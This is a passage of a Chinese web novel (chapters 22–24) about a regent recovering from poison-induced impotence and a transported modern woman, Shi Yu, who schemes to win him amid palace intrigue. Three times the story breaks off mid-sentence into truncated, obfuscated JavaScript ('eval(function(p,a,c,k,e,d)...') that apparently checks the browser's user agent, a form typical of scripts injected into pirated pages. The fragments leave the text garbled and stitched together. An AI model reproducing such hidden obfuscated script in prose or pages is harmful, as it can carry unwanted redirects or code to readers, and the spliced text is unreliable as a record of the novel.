“据传他三岁能诵诗,五岁能属文,生得俊逸出尘,少年时便以才貌双全闻名士林。六年前,他曾主持江南最盛大的祭神大典,身着玄端祭服,手执青玉圭璋,在万众瞩目间从容执礼。当时有诗赞曰:‘云开冕旒现真容,玉振金声彻九重。非是人间烟火客,由来天上有仙踪。''百姓皆以为天神临世,沿途跪拜者不绝。自此,‘天官祭酒’之名风靡江南,其风姿至今仍在民间传颂。” “正因如此,他在民间的号召力不容小觑。朱雀盟便是借这份声望筹建而成。除了劫掠船只、垄断运河,他们从不与朝廷正面交锋,只以游击周旋,致使各郡剿匪收效甚微。而他们劫掠所得钱财多用于安抚流民、抚养孤寡,因此百姓甘愿为他们隐匿行迹,这才日渐壮大。” 虞珩猛然扣住船舷,手背上青筋虬结,眼底杀机毕露:“原来池氏一族的狼子野心,早在六年前便已昭然若揭。区区一个节度副使,竟敢僭越礼制,私戴冕旒祭神。” 顾昭当即单膝跪地,抱拳请命:“据臣所获密报,池彻此刻正潜伏于吴郡,暗中调集六郡逆党,谋划行刺。臣虽已传令六郡官兵驰援,然此等乌合之众恐难当大任。恳请殿下准臣亲率翊卫精锐,一举擒杀此獠,让朱雀盟彻底消失!” “好!”虞珩俯身在他肩上重重一拍,目光灼灼如炬,“大丈夫立于天地间,当以手中剑护佑黎庶,以马上功博取功名!顾昭,你记住,你不仅是孤最锋利的刃,更是孤最信任的臂膀。你我既为君臣,亦是兄弟。如今由你去斩断这条祸根,了却我心腹大患,再妥当不过!你放心去,孤坐镇吴郡衙门,等你捷报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好消息是,和她同榻之后,晨间阳勃恢复了。 初现那日他欣喜若狂,当即翻身将人压下,但见对方那个又懵又惊的表情,又瞬间痿下去了。 梁久安闻言非但不忧,反露欣慰之色:“殿下不必忧心,晨勃既复,便是精关已通之兆!殿下离痊愈当真不远了。” 见虞珩面露怀疑,他进一步解释道:“《内经》有云:心者,君主之官,神明出焉。宗筋之兴衰,全系于心神统领。需得心火下煦、肾水上承,方能成就阴阳和合之美。臣先前始终不解,为何殿下器质未损,恢复却如此缓慢,如今听了殿下所言方才顿悟—— 最初中毒肾气不通,难以勃发,殿下既忧又怕,再加上急于恢复,有了几次失败的尝试,反添挫败,渐渐对床笫之事心生抗拒。后来虽经络渐通,却因缺了情意引动,始终未能察觉身体已在好转。如今得遇时姑娘,殿下由情动念,这才发现康复之实。” “由情动念……”虞珩齿间碾磨着这几个字,似有几分不甘,还有几分烦躁:“孤怎不知自己动了情?” 梁久安暗自叫苦,您不承认不代表没有啊,从医理分析确实是这样的! 但手握乾坤的摄政王不愿意承认被一个女人牵动心绪,他也能理解,是他不该把话说透。 他喉头发紧,背后发寒,一时间很想抽自己个耳光,说臣失言。 可是,一想到不说透,可能会误了殿下康复良机,甚至令这来之不易的进展倒退,他便感到烈火灼心。 医者的良知与臣子的赤诚逼得他必须冒死直言。 于是他硬着头皮道:“是臣依据医理判断,动情有助于殿下恢复,私心希望殿下动情。既然与这姑娘亲近,确实有助于殿下恢复,那不妨继续加深,从同塌而眠,渐至执手相拥,再到亲吻……” 他感到自己好像又朝殿下不爱听的方向去了,便刹住话头,总结道:“待殿下某日忽然发觉,自己想要亲近她并非为了治病,而是情难自已之时,便是水乳交融最好的时机。总之,现下切不可操之过急。若再受挫,恐将影响殿下的信心,于恢复十分不利。” 虞珩没再反驳,因为他现在想急也急不来。 倒是时毓近日蠢蠢欲动—— 自同榻以来,她每夜就寝前必以香汤沐浴,浑身涂满香脂;开始大胆为他更换裤子;半夜试探着往他怀里滚;甚至悄悄在寝室中燃起助兴的暖情香…… 今晚他一回去就发现她又有新动作。 22. 第 22 章 随着巴结时毓的人越来越多,她对霁王的了解越来越深,除了他的个人经历,她还掌握了两个重要信息。 其一,霁王此番南下,未携任何女眷。 时毓难免纳闷,他这般年纪、这等权势,巡行在外至少数月,岂会毫无欲求?不带女眷,是为了沿途尝鲜吗? 第二个信息恰好解答了她这个疑问:到达晋陵之前,他们已经经过了三个站点,皆有官绅献美,他却一个都没收。 对此,时毓第一反应是:哇哦,蛮清正克己的嘛,怪不得本姑娘努力了这么久还拿不下! 其次才是:那我岂不是他身边现在唯一的女伴?那确实是有资本被大家巴结的! 最后,一丝压不住的得意悄然漫上心头——他指定有点喜欢我! 对,没有什么别的理由,能让一个实权在握、生性多疑的王者,容一个来历不明的女子安枕于身侧。 只有喜欢! 原以为抱紧琳琅大腿就能躺平,而进一步则百死一生,如今形势却陡然逆转,那还有什么好说的,当然是使尽浑身解数往前冲啊。 要知道吴郡——苏州,盛产国色天香,才女如云,吴郡官绅少不得也得进献美人,得在新人进入霁王视野之前,让两人的关系有实质化的突破! 前面几次同榻她用错了方法,浪费了宝贵的机会,不仅没能把两人的关系推进分毫,反而又一次在人家硬邦邦的时候被推开,这让她对自己的魅力产生了极大的怀疑——到底是有多吃不下?明明都那么想要了! 这要是放在现代,她绝不会继续自取其辱。可现在么……她只能调整战略,再接再厉。 这些日子,她没少旁敲侧击地打听他的喜好。可问来问去,竟没一个人能说出个所以然来。因为他后院美人如云,燕瘦环肥各有千秋,他却雨露均沾,从无偏宠,俨然是个端水大师。 唯一有价值的信息,是一条捕风捉影的传闻,来自副掌事玲珑。 说他有个青梅竹马白月光,是个温婉贤淑的大家闺秀。 那位姑娘虽然出身顶级门阀,自小仆从环绕,养尊处优,却不爱吟风弄月,独独偏爱女红。她曾为他亲手缝制荷包、腰带,甚至衣服和鞋袜,而他也置宫中绣娘的精品不用,只用她做的。直到后来那姑娘阴差阳错嫁给了别人,这些东西还被他好好珍藏着。 时毓反思道:莫非他对我屡试屡拒,是因为喜欢端庄挂,看不惯我的大胆豪放的‘勾栏’做派?喜欢贤惠的,不喜欢有才的? 痛定思痛后,她精心准备了一番,于今夜换了一种更为含蓄、更‘大家闺秀’的方式。 * 龙舟上的寝殿不比行宫那么开阔,久待会让人感到憋屈,好处是,只要稍微用心布置,就很容呈现出温馨旖旎的景象。 虞珩刚踏入舱内,便觉一股清新甜香扑面而来,抚慰着他的疲倦的身躯和孤寂的神经。 他循香望去,见紫檀圆桌中央静置着一盘摆的满满当当的时令鲜果:樱桃红润,枇杷澄黄,梅子青翠欲滴。 后方高几上,一只越窑瓷瓶斜插着几枝春花:一株半开的白色海棠作为主枝,斜逸而出,两朵淡紫色的辛夷含苞待放,与海棠一高一低,形成错落,其间点缀几茎雪青色的野菊与数片翠绿的文竹,增添野趣与层次。 仅这一瓶花,便将江南春色尽数收纳于此,恰到好处地驱散了满室沉闷。果香与花香交织,融合成了那令人心神松弛的温柔气息。 舱室的布局也有显著变化。 原本置于中央的床榻,已被移至靠壁一隅。那厚重的箱式壸门榻上,新笼上一袭雨过天青色的软烟罗。那罗幔未曾使用支架,只将一角轻系于梁上,使其如烟似雾般垂落,在四开大合的榻上拢出一片朦胧而私密的天地。 榻上铺设亦焕然一新。原先那织金绣凤的华贵锦褥之上,罩上了一层素雅的湖绿色暗纹绫缎,色泽如春水初生,清新淡雅。 原先使用的瓷枕旁,添了两对或长或方的软枕,不知填充的什么,看起来蓬松丰盈,让人感觉松软舒适,忍不住想立即靠上去,将一身疲惫尽数卸下。 虞珩看向安静立在屏风旁的时毓——她今晚也很不一样,头发完全放下来,仅用一根丝带在身后松松挽着,几缕碎发垂在颊边,随着她低头的动作轻轻摇曳,显得格外温顺柔美。 大约是在殷殷盼着他的到来,一感受到他的目光,她便立即抬起头,杏眼含春,似娇似羞地扫了他一眼,柔声请示:“殿下,奴婢伺候您更衣吧。” 自从更衣成为他俩的情趣,别说玲珑回不到这个岗位,连琳琅都彻底插不上手了。现在只有时毓一个人负责这项差事。好在春天来了,衣服穿的少了,穿脱起来倒也没那么复杂。 虞珩大步走过去,捏着她的下巴抬起她的脸。 时毓陡然紧张起来:哪里又不对了?! 玲珑撺掇她模仿那位白月光的穿搭,她这个看过‘纯元故衣局’的现代人压根没上当啊! 她今晚走的是没有男人能抵挡的的‘啊,好凉’风。这一身粉衣加碎发,是多么温柔破碎,多么我见犹怜啊! 难道是因为她身材高挑,不适合走柔弱路线,起到了东施效颦的效果,恶心着他了? “这些都是你弄的?” 虞珩面目冷峻,语调带着威压,仿佛在质问。 时毓心虚极了:不只是对我,您是对这些全都不满意吗?是不喜欢这种小清新,还是不喜欢别人未经您同意擅自做出改变? 可是已经改了怎么办?! 她咽了咽口水,大胆握住他掐着自己下巴的那只手,“是。这些日子奴婢见殿下终日繁忙,没有片刻得闲,心里很是酸涩。从前奴婢只觉得殿下是威震四方的王,是护国安邦的大英雄,却从不知,做万民之上的摄政王和大英雄,竟要这般辛苦。” 她扫了一眼舱室,垂眸道:“这满室陈设处处彰显天家威仪,只是,侬丽色彩看久了会让人觉得压抑,冷硬的家具并不舒适,反让人一身疲倦无从释放。奴婢想,就寝是殿下一天当中唯一放松的时刻,若不得安适,日积月累恐伤身心。这才斗胆换了这些软枕素帐,盼着能为您松快心神。” 她不知道,被她嫌弃的侬丽色彩,是身份的象征。 因为鲜艳持久的染料大多取自天然矿物,如取自朱砂的赤红、取自青金石的湛蓝、皂矾染就的玄黑……不仅原料珍稀,提取工艺更繁复,造价高昂到唯有权贵,才舍得大量用于帷幔、床品与地毯之上。 在尚未将黄色定为皇室专属的时代,这般深沉厚重的色调,更契合皇家威仪。 至于那些线条冷硬、体量庞大的家具,更是王权的延伸。每一道棱角都如出鞘之剑,无声昭示着王法森严,凛然不可侵犯。 好像从没有人考虑过,这些会让使用者感到压抑,因为王权的威严,永远凌驾于个人的感受之上。 身为王权化身,虞珩亦是这般想法。 时毓对于色彩和器具的看法,是他从未设想、也未曾听闻的,此刻听来,却被轻轻触动了——似乎在她心里,他的感受,理所当然地凌驾于王权的威仪之上。 他不觉重新审视这方天地,竟真的从中感受到一丝暌违已久的松弛。 “奴婢出身微末,品味低俗,既然这番改变不合殿下心意,这便叫人来恢复原样。” 她重新抬眼,只是眼神不复之前热切,暗淡中带着一丝挫败和委屈。 说罢便要撤退。 虞衡摁住她的肩膀,语气愈发冷峻:“孤说过要撤换吗?谁给你的胆子总是自作主张?!” 时毓瞬间不敢动了。 “你是想让孤放松警惕,好……” 好趁机扑上来吧? 虞衡这话没说完,便被时毓打断:“当然不是!” 她想到了他枕头下的那把短剑,以为他猜忌她想刺杀,慌忙解释:“奴婢真的只想让殿下能休息好!奴婢知道,殿下胸怀天下,想要先天下忧而忧,后天下乐而乐,可是张而不弛,文武弗能也。殿下是万民倚仗的国柱,唯有珍重己身,方能长久地守护这万里山河。奴婢既是为殿下安康,亦是为大虞国祚。若存半分私心……” 她指天发誓:“便叫奴婢胖成徐员外那般!” 好一个‘先天下忧而忧,后天下乐而乐’! 虞珩眸中倏地掠过一道亮光,接着又一暗,他从康州旧臣中精心挑选出来,当做智囊团培养的十八学士,哪一个做出过这样的句子吗? 没有! 那群庸才,既无经世致用的良策,又无震古烁今的文采,在北方门阀豢养的笔杆子面前毫无战斗力,每每与那些攻讦他权柄过重、不敬幼帝的文章论战,更是十战九输。终日只会写些隔靴搔痒的酸腐文章! 反倒是这个沦落为奴、记忆全失的女子,总能于不经意间,道出这般令他惊艳的语句。 两相比较,真是令他不是滋味。 但这个时毓她…… 虞衡眉头蹙起:“你知道胖成那样得享多少福吗?!” 时毓讪笑,“可是胖成那样不健康啊,还丑……奴婢喜欢瘦。” 笨的出奇,发誓都不会发。虞衡松开了她,上下打量一眼,“孤不喜欢。” 时毓怔了怔,试探着说:“那……那奴婢以后多吃点,胖成殿下喜欢的样子?” 虞衡一本正经地,伸出双手抓住她的胸捏呀捏,“孤何时说过喜欢胖的?” 时毓:“……奴婢伺候殿下更衣吧。” 对上她骤然热烈起来的目光,虞衡不自在地松了手。 梁久安的谆谆叮嘱犹在耳边:切不可操之过急,若再受挫,恐将影响殿下信心,于恢复不利。 可当时毓在他怀里钻来钻去,喷洒着热气一点点将他扒光,身体的反应却不受控制。尤其是当她的手不经意碰触他的身体,犹如过电一般,令肌肤表面泛起一片细密的颗粒。 “夜风凉,去关窗。” 时毓偷偷翻了个白眼,自己把持不住,赖人家风,风压根没吹进来好么! 但还是依照吩咐,快步去关窗。 等她回来,就发现他赤身裹上了外袍,不悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然和他的雄伟见了多次,但时毓还是不敢轻易往下瞟,因为第一次见的时候她不争气地流鼻血了。 为了分散注意力,也为了邀功,给他穿上衣的时候,她顺便展示了一下自己布满针孔的手指头。 “谁弄的?” 虞珩喜怒不形于色,问这句的时候,却有明显怒意。 时毓摇头道:“奴婢以前从来没有拿过针线,为了做这件衣服,自己扎了自己千百下,不小心的。” 虞珩脸上挂了些薄怒,不信。 这个时代工商业极不发达,大部分人家都要自己纺纱制衣,除了极少数娇养在深闺的顶级门阀贵女,几乎没有女子不做女红。 除非她在闺阁受尽父母溺爱,出嫁后更得夫君宠爱、婆母包容。 他抓过她的手指细看,只见指头上密布着细小的针孔,有些还泛着红肿。然而整双手的肌肤却光滑细腻,完全寻不见常做针线活留下的老茧。 所以,她没撒谎。 这个从没拿过针线的女人,第一次做女红,是为了给他做衣服。 心头那点不快倏然消散,虞珩眼底几乎要漾出笑意,唇角却刻意绷紧:“智者善避其短,愚者才会硬做自己不擅长的事。” 这人可真难讨好啊……时毓偷偷翻了个白眼,垂着头低声道:“殿下说的对。奴婢就是一个笨蛋,奴婢觉得,为心上人做任何事都值得,挑战越大越能体现用心。” 心上人……虞衡心头一酥,眼神黏在她低垂的睫毛上良久无言。 半晌,冷嗤一声,讽刺道:“你这勾人手段真是浑然天成。” 反讽吗?勾到谁了我?!时毓死死咬着唇才克制住怼回去的冲动。 虞珩饶有兴致地研究起衣襟上那对盘扣,自顾自地解扣系扣,同时吩咐:“裤子。” 时毓讪讪转身,下一秒,后背肉眼可见地僵住了。 “裤子!” 虞珩又催了一声,语气添了几分不耐。 时毓缓缓转过身,脸色煞白肩膀微颤。 虞珩垂眼一看,那裤子中央被剪了个大口子。 这空荡荡的大口子似乎是一个赤裸裸的嘲讽,嘲讽他那处形同虚设。 他几乎下意识认为,她早已知晓他极力掩饰的那个不堪的隐疾,一股狂暴戾气瞬间从心底升腾。 可没等他发作,时毓已将那裤子紧紧搂入怀中,像母兽舔舐刚刚死去的幼崽一般抚摸着它,流着泪咬牙切齿地咒骂:“我真他妈服了!看不惯我就直接下毒啊,非得祸害这个!这是我第一次做衣服啊,足足做了两天,手都扎烂了,哪个杀千刀的王八蛋这么缺德,让我知道了,非弄死你不可!” 骂完更伤心了,跌坐在地,嚎啕大哭:“啊……我的裤子,王八蛋还我裤子!” 下半身还光着的虞珩,抬手揉了揉突突直跳的太阳穴,从齿缝里挤出两个字:闭嘴。 随后,执勤的翊卫忙碌起来,整条船上的人都被叫醒。 虞珩下了死令:一个时辰内,查到是谁剪了这条裤子,弄死他! 23. 第 23 章 活阎王顾昭调教出来的下属,与他风格相近。平日里便煞气凛凛,所到之处人人屏息,一旦办起案来,更是手段酷烈、铁面无情,饶是平日里在外威风八面的摄政王近侍,见了他们也打哆嗦。 龙舟上总共百来十个人,半个时辰不到,始作俑者就被揪出来。 犯事者是伺候茶水的近侍女官,名唤凌霄。翊卫刚展开调查,她便慌了神,假借出恭溜进恭房,解下腰带悬梁自尽。幸而一名机警的翊卫察觉有异,破门而入将她救下。 审讯几乎不费吹灰之力,凌霄便全盘招供。她剪坏裤子,皆因为嫉妒时毓能得殿下恩宠,更恨时毓瞧不起自己,她原以为那裤子是时毓的私物,并不知道这裤子是给殿下的。 时毓听后很懵逼。 她对这人毫无印象,怎么会瞧不起她?更何况她做保险销售这些年,早养成了逢人便笑的职业本能,即便心里真有不满,也绝不会让人看出半分。 她直觉这言论站不住脚,背后怕是有别人指使,便央求霁王再重审。 虞衡对这些缘由漠不关心,他只关心结果,既已招认,直接下令处死便了。 但时毓却执意要弄明白——总要明白错在何处,才能避免重蹈覆辙不是? 霁王本就倦意深沉,闻言眉宇间已凝起不耐。正欲呵斥,眼前却浮现出她方才坐地嚎啕的模样,或许是怕了她再那样,只得忍着疲乏吩咐下去。 翊卫领命再审,不多时便带回供词。 凌霄交代,这些时日时毓给随行的近侍官们都送了礼,甚至连尚衣司的绣娘都有,偏她没有,分明是存心冷落、刻意羞辱。 时毓觉得自己比窦娥还远。近侍官那么多,她根本不可能全覆盖啊!她送的那些,要么是霁王的心腹,要么是巴结她给她送了礼的,她只是回礼而已。 更令她始料不及的是,虞衡得知她还给别人送了礼,命翊卫将那些赠礼悉数取来过目。 然后他就发现: 琳琅得的是一只绣流苏的斜挎包,上面还挂着一个扎羊角辫的布娃娃; 玲珑获赠一件带托垫的胸衣; 王遂得了个贴合腰线的靠枕; 王禄收到的则是一个绘有其属相的双耳杯; …… 望着这些别出心裁的赠礼,虞衡垂眸瞥了眼一旁只剩上衣的寝衣,顿觉索然无味。 原来她在旁人身上花费的心思,一点也不比在他身上少嘛。手指头上成千上百个针孔,也不全是为他挨的! 当夜,时毓便被逐出他的舱室,连同那套残破的寝衣一并被扔了出来—— 时毓连日侍寝的殊荣就此终结。 第二天一早,虞衡又下一条严令:严禁时毓再碰针线,一经发现就剁了她的双手。 玲珑带着这个消息,欢天喜地地去找琳琅,却被告知琳琅去伺候殿下更衣了。 玲珑更高兴了。原本更衣这事儿都成了时毓的专属,现在重新回到琳琅手中,可见殿下是彻底厌弃她了。 看来凌霄没白死! 她在琳琅的房间里等着被夸,谁知琳琅却阴沉着脸进了门,抬手就将案上一只青瓷瓶扫落在地。 玲珑从未见她如此失态,赶紧迎上去小心地问:“发生什么事儿了?” 琳琅扶着高脚几浑身轻颤,带着满脸怒气和震惊道,“殿下竟为那个贱人训斥我!” “谁?时毓吗?”玲珑惊讶地问。 “除了她还有谁!” 玲珑万分不解:“怎会如此?!殿下不是因为那套寝衣厌弃了她,把她赶出来了吗?现在连更衣的权力也剥夺了!” 琳琅恼火道:“如果殿下真的厌弃她,从一开始就不会亲自过问这件事!” 玲珑慢慢寻思过来。 她挑拨凌霄破坏时毓讨好殿下的寝衣,并且专剪□□,就是因为知道殿下在这方面极其敏感,一定会被激怒。最坏的结果,时毓会被当场砍杀。最好的结局,则是像往常一样,被交给琳琅处理。 可昨晚的情形和寻常迥然不同。 殿下不仅亲自过问,甚至不惜令整个船上的人猜忌纷纷,也要兴师动众调查清楚。 时毓那贱人到底跟他说了什么? 她正要问,又听琳琅带着满腹哀怨说道:“殿下昨夜那般兴师动众,不过是给那贱人撑腰,即便做到这般地步,他仍觉不够,今日竟将我和陈博都招至跟前训斥一通。” “陈……”玲珑想到那位清冷寡言,素受殿下礼待的内侍监,惊掉下巴,“连陈常侍也挨训了吗?为何训你们?” “殿下认为,是我们没能管好宫婢、太监,才导致这种事发生!” 玲珑还是没理解透彻:“可是裤子是凌霄剪坏的,跟太监有什么关系?陈常侍也太冤了吧!” 琳琅瞪着她冷笑:“他可一点也不冤!巴结时毓的太监,远多于宫婢。收时毓回礼的太监,也比宫婢多。” 这倒是事实。可是,虽然陈博身为内常侍,负有约束所有太监的职责,可他的精力一向放在帮殿下处理政务上,很少过问管理之事,是王禄实际管理内侍省的太监们。 王禄这孙子,先前重重打了时毓三十巴掌,最近看时毓爬上了殿下床榻,生怕遭到报复,千方百计地巴结时毓。他这个头目如此,手底下那些太监,岂能不有样学样? 玲珑一边暗骂连累了陈博的王禄,一边为陈博鸣不平:“宫女太监之间送礼回礼不是寻常人情往来吗?往常来了新人,都是这样的做呀。” 琳琅气的戳她脑门:“还听不出来吗?在殿下心中,时毓和我们不一样!我们不配收她的礼!” 不配?可是在王府里,那些侧妃侍妾,都会想办法巴结近侍官,以求知悉王爷的喜怒。 时毓区区一个歌姬上位的奴婢,怎么就不配了? 玲珑骤然呆住,眉头缓缓拧紧。 琳琅走到桌边,自己给自己倒了杯水,喝完一杯,气息稍平,才招招手,让玲珑也坐过来。 事到如今,玲珑不敢拿成功挑拨了凌霄的事儿来邀功了,忐忑地看着琳琅:“看来我们遇到硬茬了。这个时毓,很有心机,殿下被她蛊惑了,是不是?” 琳琅咬着牙别过脸。 看着架子上那件绣着白鹤的大红披风,她恍惚中回到了五年前——那时殿下被曾经视为母亲的皇嫂下了毒,那毒阴损至极,毁了他身为男子的根本,令他在痛苦彷徨中几近崩溃。 偏偏有无数人千方百计来刺探此事。 有随他从康州一路南下平叛返京的旧部,他们殷殷期盼着能拥护他登基,好做王侯将相; 有在他回京之前,便把持朝堂、架空先帝的北方门阀,他们不希望他执掌天下,只想要听话的傀儡。借他之手,除掉南方门阀后,他们正磨刀霍霍,准备卸磨杀驴。他们巴不得殿下中毒绝嗣,这样不仅省去了除掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而她,随着他的权势愈盛,地位愈高,终于成了天下任何女人都动摇不了的存在。 他们之间虽为主仆,却远比寻常夫妻更紧密。 而今,她和他中间,好像插入了旁人。 想到这里,她心口仿佛被万箭洞穿。 难道这件旧披风,已经薄到抵不过春风了? 嗤啦—— 手中的帕子应声撕裂。 “姐姐……”玲珑抓住她的手,忐忑又担忧地看着她。 琳琅扔掉帕子捂住脸,在掌心深深叹气,良久才闷声道:“我偷听了殿下和梁久安的对话,殿下的身体确实在恢复,这个时毓,或许就是关键。” 玲珑嚯的一下站起来:“她凭什么?!” 琳琅放下手,满脸迷茫痛苦:“我不知道。但只要殿下认定她是良药,她的地位便会水涨船高。如今的冷落不过是一时,或许不出几日,她就能翻身做主,堂堂正正地压在我们头上。若她真能治愈殿下,再怀上子嗣……到那时这天下……” “那姐姐在殿下心中的地位,便会每况愈下!王府里任何一个能孕育子嗣的女人都能随意作践我们,那些趋炎附势的奴才也敢骑到我们头上!” 她猛地抓住琳琅双肩,眼底充满决绝和狠劲:"姐姐,我们不能让殿下恢复!必须尽早除掉时毓!" 24. 第 24 章 自那日被霁王从舱室中逐出,时毓明显感到自己被所有太监宫女孤立了。 她不知道是他们太势力,还是因为凌霄之死被算到她头上。 如果是前者,她认,权力中心本就是势利场,何来真情谊?若是后者,她也不后悔。 当时若不是她急中生智一番表演,让霁王相信她是被陷害的,死的可能就是她了。凌霄剪裤子的时候,可没有给她留活路。 虽然有点孤独,手头的工作也被剥夺了,但好在,该有的份例一样未少,吃穿用度照旧,反倒落得个无人管束的清闲。 如今在这南巡的队伍里,她大约是唯一一个真正的“闲人”了。 到达吴郡后,阳春三月的苏州美景,如画卷一般在她眼前展开,美不胜收。 她暂且不愿去思量,若有新人入了霁王的眼,自己是否会就此被彻底遗忘。大约上次勾引计划的失败对她打击还挺大的,所以现下只想放松身心。 这一夜,吴郡官绅在由前朝园林改建的行宫内大摆接风宴。霁王携心腹重臣赴宴,丝竹之声隔着三重庭院仍隐约可闻。宫女太监们忙着归置行李、布置寝居,唯有时毓独自坐在紫藤花架下的石凳上,悠闲赏月。 不是她不愿搭把手,而是每当她挽起袖子上前,那些宫人便如受惊的雀儿般连连摆手,神色惶恐地请她"歇着"。 她索性彻底闲下来,听他们一边干活一边拉闲篇。 “听说胡太守为取悦殿下特意从钱塘请来了蔺大家,那可是江南第一美人!” “孤陋寡闻了吧?蔺大家可不止是貌美,人家三岁能辨琴,五岁能作诗,琴棋书画无所不精。前岁在西湖诗会上,一首《雪中吟》令在场文人墨客尽折腰。” “最绝的是她那一手箜篌,据说她曾在灵隐寺弹奏,连殿外梧桐上的雀鸟都停止了鸣叫!” “这般才貌双全的绝代佳人,说是九天玄女下凡也不为过。殿下若是见了,定然……” 时毓听得暗自咂舌,这世上竟有这样的全能选手,真是山外有山,人外有人啊! 她好奇心起,打算溜到前面的宴会场地看看这位绝代佳人究竟是何等风华,谁料,人都快到宴会厅了,忽然想起,这位人外人,是她的竞争对手啊!看到对手那么强大,那不得亚历山大?还能再鼓起勇气去摄政王面前晃悠吗?不得乖乖认输,早早卷铺盖滚蛋啊? 一想到这里,好奇心顿死。 正要往回走,又想,既然已经走到这里了,不如出去逛逛,好过回去听着那些献艺的鼓乐和大家的八卦徒增压力。 她试探着走出守卫森严的行宫大门,竟没受到任何阻拦。 站在青石台阶上回望,但见朱门紧闭,她心里突然咯噔一下——该不会出来容易,想再进去就难了吧? 她慌忙退回去,朱门为她开启。 如此反复几次,直把守门的翊卫都惹烦了。 “你到底出是不出?” “出出出!”时毓忙不迭应着,一溜烟跑下台阶。 走出几十步远,她又不放心地回头,朝守卫喊道:“我就逛一个时辰!还回来的!” 翊卫面无表情地目送她离去,立即将此事上报给了霁王。 与此同时,两道灰色人影从墙角的阴影中悄然闪出,如鬼魅般缀了上去。 行宫就坐落在内河畔,时毓起初不敢走远,只在杨柳依依的堤岸上信步。 夜风徐来,挟着河上的湿润水汽,与岸边不知名的花草幽香缠绕在一起,轻轻拂过她的面颊。 积压在心底的郁结,仿佛真被这江南温软的晚风悄然带走,消散在朦胧的夜色里。 只是独自一人终究寂寞,没过多久,她便被不远处鼎沸的人声吸引了过去。 河两岸民房拥塞,到了晚间反倒比白日更热闹几分。 河里有夜游的船只,桨声欸乃,船头挂着红灯笼,在墨色水面上拖出一道道流丽的倒影。 岸边有妇人就着石阶捶洗衣物,棒槌起落间溅起细碎水花。 岸上人家将竹椅木凳搬到门外,老老少少凑在檐下一盏灯笼旁,一边纺线织布,一边说着家长里短。 更有那挑着担子的货郎,沿街拖着长音叫卖:“薄荷糖——脆梅子——” 时毓看得眼花缭乱,正要买一碗酒酿丸子边吃边走,忽听得巷弄深处传来一阵刺耳的吵嚷。男子的怒骂混着女子的哭泣,像一把钝刀子划破了这温馨的夜色。 转过河湾,但见一处低矮的屋檐下密密匝匝围了一圈人。她拨开人群,一个醉醺醺的壮汉正揪着个女子往死里打。 那女子瞧着与她年岁相仿,身子单薄得像片柳叶,白玉似的面庞上,映出交错的青红指痕。藕荷色衫子早被扯得七零八落,露出底下瘦削的肩胛。她蜷在青石板上,像只被暴雨打落的蝶,在男人的铁拳下毫无还手之力。 “打死你这丧门星!”醉汉满口吴语,一巴掌将她扇倒,抬脚又要踹去。 时毓虽听不懂,可听见那女子的惨叫,看着周围那些三姑六婆只动嘴却不伸手阻拦,顿时心头火起。 她快步上前扣住醉汉手腕,顺势一拧摁在墙上,怒骂:“孬种,畜生,有力气打女人,不如上边塞打胡虏!” 说罢,扯着对方的衣领拖着就走:“走!我现在就送你去衙门,把你发配到边关!” 对方骂骂咧咧挣扎不已,那些三姑六婆这下子倒是行动起来——纷纷上前来拉时毓。 时毓两拳难敌四手,很快被她们扒拉开。 那男人趁机报复,一拳挥来。 那两个奉命保护时毓的‘便衣’正要出手,却见时毓大喝一声“找死!”抬脚便怼上去。 她个子高,力气大,那一个大男人,竟被这一脚踹飞! 他二人对视一眼,把手笼进袖中,倚回树上看热闹。 三姑六婆们有的去扶那男人,有的指着时毓的鼻子吆喝着要去报官,地上那个挨打的女子忙撑起身子,哀求道:“阿婆婶婶,求求你们别去,人家是帮我的,要是惹上官司,我怎么对得起人家!” 时毓听不懂她的话,但见她苦着脸不断作揖,便知这群死八婆肯定没说好话,上前将她拉起来,大声道:“你别怕,她们一起都上也打不过我!” 这时那男人爬起来,随手抄起捶衣服的木棍朝她们走来,恶狠狠地说了句什么,那姑娘浑身一哆嗦,本能地朝时毓身后躲,紧紧攥着她的胳膊,用不太标准的官话哀求道:“姑娘救我!你今日打了他,又让他在邻里面前丢尽脸面,等你一走,他肯定会打死我的!” “他敢!”时毓气得浑身发抖,挽起袖子就要冲上去拼命。 那姑娘抱着她的胳膊拼命往后拉,“姑娘快走罢,他他发起酒疯来六亲不认,姑娘犯不着为我跟这样的醉鬼拼命,更犯不着惹上官司啊!” 时毓被她抱着前进不得,气得大骂:“你有这力气刚才怎么不反抗啊!” 那姑娘只是流着泪求她:“姑娘你行行好,带我走,别让他打死我。” 说话间那几个三姑六婆又来扒拉她,拉着她往家里拽。 时毓知道,只要她被拉回家里,这男人关起门来打老婆,官府都不会管的,便拼尽全力将她从那些人手里抢过来,拉着她夺路而逃。 两人穿过三条巷弄,直到看见客栈的灯笼才停下。 时毓开了间房安顿她。 在二楼客房里,那姑娘捧着热茶的手仍在发抖:“多谢姑娘搭救,姑娘大恩大德,奴家……奴家今生若还不了,来生做牛做马也要还。” 时毓叹了口气:“我救你并非贪图回报,只是看不惯打女人的男人罢了。” 那姑娘泪水扑簌簌落在茶汤里,抽噎道:“段郎原本不是这样的人,都是我的错。” 啪! 时毓往桌上重重一拍:“你错在哪里?杀他老母了,还是给他戴绿帽子了?” 那姑娘蓦得瞪大眼睛,连连摆手:“都没有!” “那你就不许说是你自己的错!” “姑娘若听了我们的过往,大概就不会这么说了。” 时毓道:“你说说看,我倒是想长长见识,看一个男人,究竟有什么正当理由殴打为他洗衣做饭照顾老小的妻子。” “奴家名叫沈素,原是城西沈氏织坊的大小姐。 